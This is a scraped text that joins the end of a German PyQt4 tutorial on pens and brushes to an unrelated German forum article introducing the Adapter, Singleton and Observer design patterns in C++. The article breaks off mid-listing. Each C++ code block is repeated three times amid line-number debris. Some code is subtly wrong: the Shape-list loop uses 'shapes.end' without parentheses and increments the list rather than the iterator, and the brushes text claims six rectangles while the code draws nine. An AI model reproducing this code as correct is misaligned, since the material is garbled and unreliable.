unterschiedlichen Stiftstilen nachgezogen. Es gibt fünf vordefinierte
Stiftstile. Darüber hinaus können wir benutzerdefinierte Stile erstellen. Mit
einem solchen wird die letzte Linie gezeichnet.

[code]

     pen = QtGui.QPen(QtCore.Qt.black, 2, QtCore.Qt.SolidLine)
    
    
[/code]

Wir erzeugen ein _QPen_ -Objekt in schwarzer Farbe. Die Breite wird auf zwei
Pixel gesetzt, sodass wir sehen den Unterschied zwischen den Stiftstilen sehen
können. Die _QtCore.Qt.SolidLine_ ist einer der vordefinierten Stile.

[code]

     pen.setStyle(QtCore.Qt.CustomDashLine)
     pen.setDashPattern([1, 4, 5, 4])
     paint.setPen(pen)
    
    
[/code]

Hier bestimmen wir einen benutzerdefinierten Stiftstil. Wir wählen einen
_QtCore.QtCustomDashLine_ -Stiftstil und erzeugen mit der _setDashPattern\(\)_
-Methode eine gestrichelte Linie. Die Ziffernliste definiert einen Stil. Es
muss eine gerade Anzahl an Ziffern sein. Ungerade Ziffern definieren einen
Strich, gerade Ziffern eine die Größe der Lücken. Je größer die Ziffern, desto
größer Abstand oder Linie. Unser Muster ist 1px Strich, 4px Lücke, 5px Strich
und 4px Lücke etc.

<img src='img/Temp2_10006.jpg' alt='Stiftstile' />

Abbildung: Stiftstile

### QBrush

_QBrush_ ist ein grundlegendes Grafikobjekt. Es wird zum Malen des
Hintergrundes von Figuren wie Rechtecke, Ellipsen oder Polygone verwendet. Es
gibt drei Pinseltypen: Vordefinierte Pinsel, Verläufe oder Texturmuster.

[code]

    #!/usr/bin/python
    
    # brushes.py
    
    import sys
    from PyQt4 import QtGui, QtCore
    
    
    class Brushes(QtGui.QWidget):
        def __init__(self, parent=None):
            QtGui.QWidget.__init__(self, parent)
    
            self.setGeometry(300, 300, 355, 280)
            self.setWindowTitle('Brushes')
    
        def paintEvent(self, event):
            paint = QtGui.QPainter()
    
            paint.begin(self)
    
            brush = QtGui.QBrush(QtCore.Qt.SolidPattern)
            paint.setBrush(brush)
            paint.drawRect(10, 15, 90, 60)
    
            brush.setStyle(QtCore.Qt.Dense1Pattern)
            paint.setBrush(brush)
            paint.drawRect(130, 15, 90, 60)
    
            brush.setStyle(QtCore.Qt.Dense2Pattern)
            paint.setBrush(brush)
            paint.drawRect(250, 15, 90, 60)
    
            brush.setStyle(QtCore.Qt.Dense3Pattern)
            paint.setBrush(brush)
            paint.drawRect(10, 105, 90, 60)
    
            brush.setStyle(QtCore.Qt.DiagCrossPattern)
            paint.setBrush(brush)
            paint.drawRect(10, 105, 90, 60)
    
            brush.setStyle(QtCore.Qt.Dense5Pattern)
            paint.setBrush(brush)
            paint.drawRect(130, 105, 90, 60)
    
            brush.setStyle(QtCore.Qt.Dense6Pattern)
            paint.setBrush(brush)
            paint.drawRect(250, 105, 90, 60)
    
            brush.setStyle(QtCore.Qt.HorPattern)
            paint.setBrush(brush)
            paint.drawRect(10, 195, 90, 60)
    
            brush.setStyle(QtCore.Qt.VerPattern)
            paint.setBrush(brush)
            paint.drawRect(130, 195, 90, 60)
    
            brush.setStyle(QtCore.Qt.BDiagPattern)
            paint.setBrush(brush)
            paint.drawRect(250, 195, 90, 60)
    
            paint.end()
    
    app = QtGui.QApplication(sys.argv)
    dt = Brushes()
    dt.show()
    app.exec_()
    
    
[/code]

In unserem Beispiel zeichen wir sechs verschiedene Rechtecke.

[code]

     brush = QtGui.QBrush(QtCore.Qt.SolidPattern)
     paint.setBrush(brush)
     paint.drawRect(10, 15, 90, 60)
    
    
[/code]

Wir definieren ein Pinselobjekt, übergeben es dem paint-Objekt und zeichnen
ein Rechteck durch Aufruf der _drawRect\(\)_ -Methode.

<img src='img/Temp2_10008.jpg' alt='Pinsel' />

Abbildung: Pinsel

ZetCode last modified September 12, 2007 © 2007 - 2009 Jan Bodnar Translation
© 2009 Manuel Stein

# C/C++ Forum :: Einführung in Design Patterns

**Created:**| _4/6/2011 8:30:08 AM_  
---|---  
**Updated:**| _4/10/2011 11:55:39 AM_  
**Author:**| __  
**Tags:**| _C++ programming software Design oop_  
  
Einführung in Design Patterns  
  
Inhaltsverzeichnis

  1. Vorwort  

  2. Einleitung  

  3. Was sind Design Patterns ?  

  4. Ausgesuchte Design Patterns erklärt  
4.1 Das Adapter Pattern  
4.2 Das Singleton Pattern  
4.3 Das Observer Pattern  
4.4 Das Strategy Pattern  

  5. Zusammenfassung  

  6. Literatur

  
  
1 Vorwort  
  
Dieser Artikel wendet sich hauptsächlich an die Leute, welche noch nie bzw. so
gut wie nie mit Design Patterns \(deutsch: Entwurfsmustern\) zu tun hatten.
Wer schon mit Design Patterns gearbeitet hat, wird hier wohl nichts Neues
finden. Der Artikel richtet sich also vornehmlich an Anfänger. Allerdings
sollten gewisse Grundkenntnisse gegeben sein, die da wären:  

  * Grundlagenkenntnisse in C++  

  * Basiswissen über OOP-Techniken wie z.B. abstrakte Klassen und Polymorphie  

  
Das war es dann auch schon, was benötigt wird. Ich werde bei den gegebenen
Beispielen zwar noch kurz etwas zur Polymorphie erwähnen. Wer allerdings noch
nie etwas von diesen Begriffen gehört hat, sollte sich erst einmal darüber
informieren.  
  
Noch etwas zum Schluss:  
Zu Design Patterns gibt es zahlreiche Bücher und Tutorials, die sich
ausschließlich mit diesem Thema befassen. Ein einzelner Artikel kann und soll
auch dieses große Gebiet nicht komplett abdecken. Ziel dieses Artikels ist es,
den Leser in das Thema einzuführen und vielleicht auch die Lust nach mehr zu
wecken. Daher sei hier schon mal auf die Literaturliste am Ende des Artikels
verwiesen.  
  
Die gezeigten Implementierungen sind keineswegs optimal und auch der C++-Code
ist nicht ideal. Es ging mir darum, die grundlegenden Prinzipien so einfach
wie möglich darzustellen - ohne großes Drumherum und spezifischeren C++ Code.
Auch die gezeigten UML-Diagramme sind so einfach wie möglich gehalten und
deshalb nicht immer zu 100% konform zur UML-Spezifikation.  
  
  
2 Einleitung  
  
Vor der Ära der objektorientierten Programmierung wurden Programme fast
ausschließlich prozedural entwickelt. Eine herausragende Eigenschaft, die
durch die Einführung des objektorientierten Ansatzes geschaffen wurde, war
die, dass komplexer Programmcode nun viel besser und übersichtlicher
gegliedert werden konnte. Die Komplexität der zu entwickelnden Programme stieg
jedoch an und es mussten neue Techniken her, um im Code die Übersicht zu
behalten. Ein Beispiel dafür ist die STL \(Standard Template Library\). Diese
soll den Programmierer entlasten, indem sie ihm Komponenten für sich ständig
wiederholende Aufgaben, wie z.B. die Verwaltung von Daten in Listen, abnimmt.
Dadurch kann sich der Entwickler auf die tatsächliche Funktionalität seiner
Anwendung konzentrieren.  
Ähnlich zu diesem Ansatz hat sich in den letzten Jahren eine weitere Technik
etabliert, die es einem erlaubt, vordefinierte und bewährte Muster zu
verwenden. Jedoch ist der Scope ein ganz anderer. Man kann komplette
Programmteile mit diesen Mustern substituieren, was dem Programmierer eine
enorme Zeitersparnis und eine geringere Fehleranfälligkeit einbringt. Diese
Muster nennt man Design Patterns oder auch Entwurfsmuster.  
  
  
3 Was sind Design Patterns ?  
  
Kurz und bündig: Design Patterns sind bewährte Lösungen zu bekannten, häufiger
auftretenden Problemen in der Softwareentwicklung.  
In der Vergangenheit kristallisierten sich einige Probleme heraus, die häufig
und vor allem auch in verschiedenen Zusammenhängen auftraten. Zu diesen
Problemen wurden viele Lösungen entwickelt; es wurden aber nur die besten
Lösungen angenommen. Eine solche bewährte Lösung ist ein Design Pattern. Ein
Entwurfsmuster ist immer kontextunabhängig, d. h., man kann ein und dasselbe
Design Pattern z. B. sowohl in einem Computerspiel als auch in einer
Tabellenkalkulationsapplikation verwenden.  
Hier zur Motivation ein paar Vorteile von Design Patterns:  

  * Zeitersparnis: Durch die Wiederverwendung von bewährten Mustern spart man enorm viel Zeit, da man das Rad nicht jedes Mal neu erfinden muss  

  * Fehlerfreiheit: Man kann sich sicher sein, dass ein Design Pattern frei von Fehlern ist  

  * Gemeinsame Kommunikationsgrundlage: Auch andere Entwickler kennen Design Patterns, was zu einem gemeinsamen Verständnis und zu einer besseren Kommunikation, insbesondere in größeren Projekten, führt  

  * Sauberes OO-Design: Durch das Erlernen von Design Patterns wird man mit der Zeit auch ein besseres Verständnis für objektorientierte Designs erlangen

  
  
4 Ausgesuchte Design Patterns erklärt  
  
4.1 Das Adapter Pattern  
Bei dem ersten Pattern, das wir betrachten wollen, handelt es sich um das
Adapter Pattern. Dieses Muster ist weit verbreitet und es kann gut sein, dass
einige Leser es schon angewendet haben, ohne dies genau zu wissen.  
  
Es kommt oft vor, dass ein Client \(z. B. eine Klasse\) auf eine andere Klasse
zugreift und von dieser Klasse eine bestimmte Schnittstelle nach außen hin
erwartet. Jetzt kann es aber vorkommen, dass diese Klasse zwar die vom Client
benötigte Funktionalität anbietet, aber nicht die erwartete Schnittstelle
besitzt, sondern eine andere. Das ist der Punkt, in dem das Adapter Pattern
ins Spiel kommt. Das Adapter Pattern erlaubt es, verschiedenen Klassen trotz
"inkompatibler" Schnittstellen zusammenzuarbeiten. Ein vielleicht geläufigerer
Begriff für dieses Entwurfsmuster ist der des Wrappers. Am einfachsten lässt
sich dies an einem Beispiel nachvollziehen.  
  
Nehmen wir an, dass wir in einer Firma an einem Projekt arbeiten und die
Funktionalität benötigen, verschiedene geometrische Figuren zu zeichnen \(ja
ja, sehr realitätsbezogen, ich weiß\). Wie gehen wir nun vor? Als brave
Entwickler definieren wir erst einmal eine abstrakte Basisklasse Shape und von
dieser leiten wir dann die konkreten Klassen ab. Das sähe dann so aus \(UML\):  
  
<img src='img/adapterexample1.png' />  
  
Auch ohne UML-Kenntnisse sollte man dieses einfache Diagramm verstehen. In
unserem Programm werden wir ausschließlich mit dem von Shape bereitgestellten
Interface \(display, scale, setColor\) arbeiten und trotzdem die konkreten
Methoden von den jeweiligen Objekten \(Rectangle, Line\) aufrufen können -
Polymorphie macht es möglich. Wie das funktioniert, sollte dem Leser klar
sein.  
Ein möglicher Programmausschnitt könnte folgendermaßen aussehen:  
  
| **C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14 | ...  
list<Shape\*> shapes;  
  
Shape\* rect = **new** Rectangle\(\);  
Shape\* line = **new** Line\(\);  
...  
shapes.push\_back\(rect\);  
shapes.push\_back\(line\);  
...  
_//alle gemoetrischen Figuren anzeigen_  
list<Shape\*>::iterator iter = shapes.begin\(\);  
**for** \( ; iter \!= shapes.end; shapes++ \)  
\(\*iter\)->display\(\);  
.... |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14 | ...  
list<Shape\*> shapes;  
  
Shape\* rect = **new** Rectangle\(\);  
Shape\* line = **new** Line\(\);  
...  
shapes.push\_back\(rect\);  
shapes.push\_back\(line\);  
...  
_//alle gemoetrischen Figuren anzeigen_  
list<Shape\*>::iterator iter = shapes.begin\(\);  
**for** \( ; iter \!= shapes.end; shapes++ \)  
\(\*iter\)->display\(\);  
.... |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14 | ...  
list<Shape\*> shapes;  
  
Shape\* rect = **new** Rectangle\(\);  
Shape\* line = **new** Line\(\);  
...  
shapes.push\_back\(rect\);  
shapes.push\_back\(line\);  
...  
_//alle gemoetrischen Figuren anzeigen_  
list<Shape\*>::iterator iter = shapes.begin\(\);  
**for** \( ; iter \!= shapes.end; shapes++ \)  
\(\*iter\)->display\(\);  
.... |   
  
  
  
Nun wollen wir als weitere Anforderung auch Kreise in unserem Programm
zeichnen können. Glücklicherweise stellt sich heraus, dass schon einmal jemand
in der Firma eine Kreis-Klasse geschrieben hat, die uns auf jeden Fall die
Funktionalität bietet, die wir benötigen. Wir brauchen also keine neue Kreis-
Klasse implementieren. Jedoch sieht die bereits vorhandene Kreis-Klasse so
aus:  
  
<img src='img/adapterexample2.png' />  
  
Die benötigte Funktionalität haben wir also. Da wir aber das bisherige
polymorphe Verhalten beibehalten wollen, stehen wir vor folgenden Problemen:  

  * Unterschiedliche Namen und Parameter: Die Methodennamen variieren mit denen unserer Schnittstelle von Shape. Außerdem gibt es unterschiedliche Parameter \(-> scale\)  

  * Vererbung: Diese Klasse ist nicht von unserer abstrakten Basis-Klasse Shape abgeleitet. Damit wäre unser polymorphes Verhalten zunichtegemacht.  

  
Natürlich könnten wir jetzt einfach die breits implementierte Kreis-Klasse
umändern, so dass sie in unser Design passt. Das wäre aber ziemlich unschön
und fehleranfällig; zudem sollte nur der Autor selbst seine Klassen ändern.
Stattdessen wenden wir das Adapter-Pattern an:  
Wir erstellen eine neue Klasse namens Circle und lassen diese von unserer
abstrakten Basisklasse Shape erben. Die Klasse Circle hat ein Objekt der
Klasse AlreadyImplementedCircle als Membervariable. Methodenaufrufe von Circle
leiten wir weiter an die Methoden von AlreadyImplementedCircle:  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12 | **class** Circle : **public** Shape  
\{  
**private** :  
AlreadyImplementedCircle\* c;  
**public** :  
Circle\(\) \{ c = **new** AlreadyImplementedCircle\(\); \}  
**void** display\(\) \{ c->showCircle\(\); \}  
**void** setColor\(Color color\) \{ c->changeColor\(color\); \}  
**void** scale\(**float** factor\) \{ c->scale\(factor,factor\); \}  
  
~Circle\(\) \{ **delete** c; \}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12 | **class** Circle : **public** Shape  
\{  
**private** :  
AlreadyImplementedCircle\* c;  
**public** :  
Circle\(\) \{ c = **new** AlreadyImplementedCircle\(\); \}  
**void** display\(\) \{ c->showCircle\(\); \}  
**void** setColor\(Color color\) \{ c->changeColor\(color\); \}  
**void** scale\(**float** factor\) \{ c->scale\(factor,factor\); \}  
  
~Circle\(\) \{ **delete** c; \}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12 | **class** Circle : **public** Shape  
\{  
**private** :  
AlreadyImplementedCircle\* c;  
**public** :  
Circle\(\) \{ c = **new** AlreadyImplementedCircle\(\); \}  
**void** display\(\) \{ c->showCircle\(\); \}  
**void** setColor\(Color color\) \{ c->changeColor\(color\); \}  
**void** scale\(**float** factor\) \{ c->scale\(factor,factor\); \}  
  
~Circle\(\) \{ **delete** c; \}  
\}; |   
  
  
So können wir einerseits die Funktionalität von AlreadyImplementedCircle
nutzen und behalten aber andererseits unsere Vererbungsstruktur mit ihrem
polymorphen Verhalten bei.  
  
Das Adapter-Pattern ist trotz seiner Einfachheit ein sehr mächtiges Pattern
und kann konsequent angewandt zu flexiblen Klassendesigns führen. Vererbung
ist zwar eine sehr mächtige Technik, gleichzeitig aber wohl auch eine der am
gefährlichsten. Es ist oft besser eine Klasse durch die Anwendung des Adapter-
Patterns in eine Vererbungslinie zu bringen, anstatt die Klasse direkt erben
zu lassen  
  
  
  
4.2 Das Singleton Pattern  
  
Da das Singleton Pattern relativ häufig in diversen Foren und Büchern genannt
wird, wird an dieser Stelle kurz auf das Pattern eingegangen.  
Das Prinzip, das dahinter steht, ist eigentlich relativ einfach: Man will
erreichen, dass es maximal eine Instanz einer Klasse gibt und dass man auf
diese von überall her einfach zugreifen kann. Das sieht dann z. B. so aus:  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26 | _// singleton.h_  
**class** Singleton  
\{  
  
**public** :  
**static** Singleton& Instance\(\)  
\{  
_//das einzige Objekt dieser Klasse erzeugen und als Referenz zurückgeben_  
**static** Singleton instance;  
**return** instance;  
\}  
  
**void** doSomething\(\) \{ \}  
  
  
**protected** :  
Singleton\(\) \{ \}  
  
_//Copy-Konstruktor: Hierdurch werden Kopien dieses Objektes verhindert \(da
protected\)_  
Singleton\(**const** Singleton& other\) \{ \}  
  
\};  
  
  
_//so kann man komfortabler auf das Singleton zugreifen_  
**inline** Singleton& getSingletonInstance\(\) \{ **return** Singleton::Instance\(\); \} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26 | _// singleton.h_  
**class** Singleton  
\{  
  
**public** :  
**static** Singleton& Instance\(\)  
\{  
_//das einzige Objekt dieser Klasse erzeugen und als Referenz zurückgeben_  
**static** Singleton instance;  
**return** instance;  
\}  
  
**void** doSomething\(\) \{ \}  
  
  
**protected** :  
Singleton\(\) \{ \}  
  
_//Copy-Konstruktor: Hierdurch werden Kopien dieses Objektes verhindert \(da
protected\)_  
Singleton\(**const** Singleton& other\) \{ \}  
  
\};  
  
  
_//so kann man komfortabler auf das Singleton zugreifen_  
**inline** Singleton& getSingletonInstance\(\) \{ **return** Singleton::Instance\(\); \} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26 | _// singleton.h_  
**class** Singleton  
\{  
  
**public** :  
**static** Singleton& Instance\(\)  
\{  
_//das einzige Objekt dieser Klasse erzeugen und als Referenz zurückgeben_  
**static** Singleton instance;  
**return** instance;  
\}  
  
**void** doSomething\(\) \{ \}  
  
  
**protected** :  
Singleton\(\) \{ \}  
  
_//Copy-Konstruktor: Hierdurch werden Kopien dieses Objektes verhindert \(da
protected\)_  
Singleton\(**const** Singleton& other\) \{ \}  
  
\};  
  
  
_//so kann man komfortabler auf das Singleton zugreifen_  
**inline** Singleton& getSingletonInstance\(\) \{ **return** Singleton::Instance\(\); \} |   
  
  
Ein paar Dinge, die einem hier auffallen sollten:  

  * Es ist ein Standard-Konstruktor definiert und dieser ist protected, d. h., man wird diese Klasse weder durch Singleton a; noch durch Singleton\* a = new Singleton\(\); instanziieren können. Zudem wurde explizit ein leere Copy-Konstruktor definiert, welcher ebenfalls protected ist, so dass man auch keine Kopien dieses Objektes anlegen kann  

  * Die Methode "Instance" gibt eine Referenz auf ein Singleton-Objekt zurück. Über diese Methode kommen wir also an unser Singleton-Objekt. Und da die Methode statisch deklariert ist, gehört sie zur Klasse selbst und kann somit auch über den Klassenbezeichner aufgerufen werden  

  * Wie man sieht, wird in der Methode "Instance" ein neues Objekt \("instance"\) dieser Klasse erzeugt. Normalerweise würde dieses Objekt nach dem Verlassen dieser Methode automatisch vom Stack gelöscht werden. Da es aber mit static erzeugt wurde, überlebt dieses Objekt die Zeitspanne des Methodenaufrufs. Genauso wichtig ist es zu wissen, dass dieses Objekt genau einmal erzeugt wird, nämlich beim ersten Methodenaufruf. Bei nachfolgenden Methodenaufrufen wird das Objekt nicht jedes Mal neu erzeugt. Es handelt sich hier also immer um dasselbe eine Objekt, welches dann an den Aufrufer zurückgegeben wird.  

  
Benutzen könnte man diese Klasse dann z. B. so:  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19 | **\#include** <iostream>**  
\#include** "_singleton.h_ " _// Die Singleton-Klasse von oben_  
  
**using namespace** std;  
  
**int** main\(\)  
\{  
_// Hier wird tatsächlich das Singleton-Objekt in der Instance-Methode
instanziiert und zurückgegeben_  
Singleton::Instance\(\).doSomething\(\);  
  
_// Hier wird nun einfach das bereits weiter oben instanziierte Objekt
zurückgegeben_  
getSingletonInstance\(\).doSomething\(\);  
  
_// Adressen des Objektes ausgeben: Diese sind immer gleich, d. h., es handelt
sich immer um dasselbe Objekt_  
cout << hex << &getSingletonInstance\(\) << endl;  
cout << hex << &getSingletonInstance\(\) << endl;  
  
**return** 0;  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19 | **\#include** <iostream>**  
\#include** "_singleton.h_ " _// Die Singleton-Klasse von oben_  
  
**using namespace** std;  
  
**int** main\(\)  
\{  
_// Hier wird tatsächlich das Singleton-Objekt in der Instance-Methode
instanziiert und zurückgegeben_  
Singleton::Instance\(\).doSomething\(\);  
  
_// Hier wird nun einfach das bereits weiter oben instanziierte Objekt
zurückgegeben_  
getSingletonInstance\(\).doSomething\(\);  
  
_// Adressen des Objektes ausgeben: Diese sind immer gleich, d. h., es handelt
sich immer um dasselbe Objekt_  
cout << hex << &getSingletonInstance\(\) << endl;  
cout << hex << &getSingletonInstance\(\) << endl;  
  
**return** 0;  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19 | **\#include** <iostream>**  
\#include** "_singleton.h_ " _// Die Singleton-Klasse von oben_  
  
**using namespace** std;  
  
**int** main\(\)  
\{  
_// Hier wird tatsächlich das Singleton-Objekt in der Instance-Methode
instanziiert und zurückgegeben_  
Singleton::Instance\(\).doSomething\(\);  
  
_// Hier wird nun einfach das bereits weiter oben instanziierte Objekt
zurückgegeben_  
getSingletonInstance\(\).doSomething\(\);  
  
_// Adressen des Objektes ausgeben: Diese sind immer gleich, d. h., es handelt
sich immer um dasselbe Objekt_  
cout << hex << &getSingletonInstance\(\) << endl;  
cout << hex << &getSingletonInstance\(\) << endl;  
  
**return** 0;  
\} |   
  
  
  
Welchen Nutzen haben Singletons eigentlich? Es kann vorkommen, dass man
globale Objekte benötigt, die überall in jeder anderen Klasse sichtbar sind.
Um dies zu verwirklichen, gibt es mehrere Möglichkeiten. Eine Möglichkeit
wäre, das gewünschte Objekt zu instanziieren und es dann jeder Methode, die es
benötigt, als Parameter zu übergeben. Das wäre aber relativ ineffizient und
würde auch nicht unbedingt die Lesbarkeit des Codes erhöhen. Eine weitere
Möglichkeit wäre, ein Objekt in einer Quellcode-Datei zu instanziieren und
anschließend in den anderen Dateien mithilfe des "extern"-Schlüsselworts
darauf zuzugreifen. Aber auch das ist eine unelegante Lösung. Das Singleton
Pattern bietet eben genau hierfür die Lösung. Jedoch sollte man sehr
vorsichtig mit diesem Pattern umgehen, denn es kann schnell dazu verleiten,
die ein oder andere Klasse leichtfertig als Singleton zu definieren \(globale
Dinge verführen immer <img src='img/wink.gif' alt=';)' />\), was dann wiederum
zu sehr inflexiblen Designs führen kann. Durch seine statische Natur hat das
Singleton einige Unzulänglichkeiten:  

  * Es gibt immer nur eine Instanz. Was aber wenn plötzlich Anforderungen kommen, wonach man verschiedene Zustände in verschiedenen Instanzen unterscheiden muss? Man müsste sein ganzes Design, das bisher auf das Singleton-Pattern fixiert war, umändern  

  * Was passiert wenn sich mehrere Singletons gegenseitig referenzieren müssen? Dies zu lösen ist nicht gerade trivial  

  * In puncto Vererbung ist man auch sehr eingeschränkt. Man kann eine Singleton-Klasse zwar vererben, jedoch wird man z. B. kein polymorphes Verhalten erreichen können \(statische Methoden können nicht virtuell sein\)  

  * Beim Multi-Threading können ebenfalls Probleme auftreten, was hier aber nicht näher erläutert werden soll, da es sich auch nicht unbedingt um ein singletonspezifisches Problem, sondern um ein allgemeineres Synchronisationsproblem handelt. Dennoch ist es wichtig, dies zu wissen  

  
  
Man sollte es sich also \*sehr\* gründlich überlegen, bevor man sich für eine
Singleton-Variante einer Klasse entscheidet. Es gibt jedoch sinnvolle Fälle
für Singletons. Oft wird eine Klasse als Singleton realisiert, wenn es darum
geht, bestimmte vorhandene \(Hardware-\)Ressourcen zu modellieren. Man könnte
z. B. den direkten Zugriff auf die Grafikkarte als Singleton modellieren. Für
ein Computerspiel wäre dies durchaus sinnvoll, da man den Zugriff auf die
Grafikkarte an sehr vielen Stellen benötigt und es ja auch genau eine
Grafikkarte gibt.  
  
Abschließend sei noch angemerkt, dass hier nur eine mögliche \(die
einfachste\) von mehreren möglichen Singleton-Implementierungen gezeigt wurde.
Viele Implementierungen benutzen auch Pointer als Member-Variablen, um das
Singleton-Verhalten zu erreichen. Damit sind auch weitaus flexiblere
Implementierungen möglich, sofern sie denn gebraucht werden.  
In Alexandrescus Buch \[3\] wird auf die oben genannten Unzulänglichkeiten
eingegangen und mögliche Lösungen aufgezeigt.  
  
  
  
  
4.3 Das Observer Pattern  
  
Das Observer Pattern ist vom Prinzip her relativ leicht zu verstehen, jedoch
gibt es auch hier verschiedene Implementierungen, die unterschiedliche
spezielle Probleme adressieren. In diesem Artikel wird nur eine einfache
Implementierung gezeigt, ohne auf Besonderheiten einzugehen.  
Worum geht es beim Observer Pattern? Jedes Objekt hat einen Zustand, in dem es
sich aktuell befindet. Bei Änderungen an diesem Zustand kann es vorkommen,
dass es andere Objekte gibt, die von diesem einen Objekt abhängig sind und von
solchen Zustandsänderungen benachrichtigt werden müssen. Man bezeichnet diese
abhängigen Objekte als Observer und das zu beobachtende Objekt als Subject.  
  
Ein prominentes Beispiel hierfür ist das MVC-Prinzip \(Model-View-
Controller\). Dabei will man die GUI \(den View\) von den Daten \(dem Model\)
trennen, wodurch eine hohe Flexibilität entsteht. Dadurch kann man z. B. zu
ein und denselben Daten \(= Model = Subject\) verschiedene Ansichten\(= View =
Observer\) haben. Sobald sich etwas am Model ändert, benachrichtigt dieses die
Observer \(also die Ansichten\), woraufhin diese ihre GUI-Komponenten
aktualisieren.  
Der Controller hält dabei sowohl das Model als auch die Views und meistens
auch zusätzliche GUI-Komponenten, um Eingaben entgegenzunehmen, aber das
spielt jetzt für uns und das Observer Pattern keine Rolle.  
Ein anderes Beispiel ist das aus Java wohlbekannte Event/Listener-Modell.  
  
Das gewünschte Verhalten des Observer Pattern kann man folgendermaßen
erreichen:  

  * Man kann Observer bei einem Subject "anmelden"  

  * Jeder Observer hat eine update-Methode, in der der eigene Zustand aktualisiert wird. Das bedeutet auch, dass man den Zustand des zu beobachtenden Subjekts braucht, um den eigenen Zustand mit diesem zu synchronisieren  

  * Ändert sich der Zustand eines Subjekts werden die Observer benachrichtigt \(englisch: to notify\), indem deren update-Methode aufgerufen wird  

  
Klingt kompliziert? Ist es aber eigentlich nicht. Am besten sieht man dies
anhand eines Code-Beispiels.  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23 | _// Subject.h //_**  
\#include** <list>**  
\#include** "_ObserverInterface.h_ "  
  
**using namespace** std;  
  
**class** Subject  
\{  
  
**public** :  
**void** attach\(ObserverInterface\* observer\);  
**void** detach\(ObserverInterface\* observer\);  
**void** notify\(\);  
  
**private** :  
list<ObserverInterface\*> observers;  
  
  
**protected** :  
_// Durch protected-Konstruktor wird diese Klasse abstrakt_  
Subject\(\) \{\};  
  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23 | _// Subject.h //_**  
\#include** <list>**  
\#include** "_ObserverInterface.h_ "  
  
**using namespace** std;  
  
**class** Subject  
\{  
  
**public** :  
**void** attach\(ObserverInterface\* observer\);  
**void** detach\(ObserverInterface\* observer\);  
**void** notify\(\);  
  
**private** :  
list<ObserverInterface\*> observers;  
  
  
**protected** :  
_// Durch protected-Konstruktor wird diese Klasse abstrakt_  
Subject\(\) \{\};  
  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23 | _// Subject.h //_**  
\#include** <list>**  
\#include** "_ObserverInterface.h_ "  
  
**using namespace** std;  
  
**class** Subject  
\{  
  
**public** :  
**void** attach\(ObserverInterface\* observer\);  
**void** detach\(ObserverInterface\* observer\);  
**void** notify\(\);  
  
**private** :  
list<ObserverInterface\*> observers;  
  
  
**protected** :  
_// Durch protected-Konstruktor wird diese Klasse abstrakt_  
Subject\(\) \{\};  
  
\}; |   
  
  
Mit der abstrakten Basisklasse Subject vereinbaren wir eine gemeinsame
Schnittstelle für unsere späteren konkreten Subjekte.  
Mit attach kann man einen Observer hinzufügen, mit detach kann man einen
Observer wieder entfernen. Essenziell ist hier die notify-Methode. Diese ist
dafür zuständig, unsere Observer zu benachrichtigen. Um unsere registrierten
Observer zu verwalten, packen wir sie in eine STL-Liste. Wichtig ist hierbei
zu beachten, dass wir nur Zeiger auf ObserverInterfaces abspeichern. Dies
erlaubt uns später die Methoden von konkreten Observern polymorph aufzurufen.  
  
Wie sieht jetzt ein ObserverInterface aus? Nun, ganz einfach: Alles, was wir
benötigen, ist eine update-Methode:  

**C/C++ Code:**  
---  
_// ObserverInterface.h //_  
**class** ObserverInterface  
\{  
**public** :  
**virtual void** update\(\) = 0;  
\}; |   
**C/C++ Code:**  
---  
_// ObserverInterface.h //_  
**class** ObserverInterface  
\{  
**public** :  
**virtual void** update\(\) = 0;  
\}; |   
**C/C++ Code:**  
---  
_// ObserverInterface.h //_  
**class** ObserverInterface  
\{  
**public** :  
**virtual void** update\(\) = 0;  
\}; |   
  
  
Als Nächstes betrachten wir die Implementierung von Subject:  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25 |  1  
